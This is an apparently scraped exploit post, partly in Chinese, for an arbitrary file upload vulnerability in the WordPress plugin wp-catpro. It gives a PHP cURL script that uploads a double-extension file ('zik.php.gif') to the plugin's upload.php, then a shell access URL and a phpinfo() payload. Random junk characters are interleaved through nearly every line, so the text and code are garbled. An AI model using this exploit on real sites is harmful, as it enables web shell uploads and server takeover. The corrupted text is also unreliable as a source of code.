Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
% c" q3 g, N" F/ R. X' D8 I- G/ P3 b#-----------------------------------------------------------------------
! ?; U U( H# I- F+ d) h4 L% Z ) c3 c( j$ ^' J1 i" z- @6 g3 }4 `
作者 => Zikou-162 o& b( T3 k# {
邮箱 => zikou16x@gmail.com( Q2 L! @. H* @; H) Z
测试系统 : Windows 7 , Backtrack 5r3
[" F6 I5 v1 k下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
/ X, g% b: ^ |####3 P' a! L' S2 }6 U9 \+ v" J" p
+ V* d3 Q) E8 _' U# v#=> Exploit 信息:
- u) m; p4 s! X------------------
3 h. ^, t$ w. S1 l' G5 p# 攻击者可以上传 file/shell.php.gif; S" N2 `! H* s+ ] Z3 M J
# ("jpg", "gif", "png") // Allowed file extensions
; B9 k" Y w# L+ @# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
! ^2 Y; {$ }$ g5 q3 J2 F' Q# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format), P) B' M8 [1 x& P* D1 V
------------------2 h. W% m h: G+ g& {
, {- N( l% d1 N9 X
#=> Exploit4 r: u3 r {9 c9 G
-----------# T; h1 p1 b1 B* ^! P2 n1 K& T
<?php0 w! x' N9 J8 o
2 V; t$ `, c/ Q- ?6 x
$uploadfile="zik.php.gif";
1 z, J* `/ K3 M# U- }( t$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");$ ~& n E c3 O5 @2 w7 N
curl_setopt($ch, CURLOPT_POST, true);4 a5 C/ ~7 a% w. A% V B
curl_setopt($ch, CURLOPT_POSTFIELDS,
. y( ?7 M( I7 \, Parray('Filedata'=>"@$uploadfile",
% N/ d" [, ?# o+ a/ q) t'folder'=>'/wp-content/uploads/catpro/'));6 O1 Z8 }/ s" h P. ]* c1 t. i# R
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# H( T) m( R M6 c6 h+ `7 @5 R ^$postResult = curl_exec($ch);
8 {) n% [. f1 s" {& acurl_close($ch);9 ^. n+ {5 U2 o7 S3 E+ `( x9 x
+ B/ X- N: I, ~; U" W# a2 C% uprint "$postResult";- |+ c, [; U1 J0 w! \2 J
& ~' I3 i7 b( d- \3 I
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif1 W+ g/ n7 g9 |$ |$ H
?>
; r9 w9 }( k, A+ ]7 l<?php8 t0 t( E% T, S/ Z
phpinfo();
7 o% ]% t; B. c0 G# R; Y?> |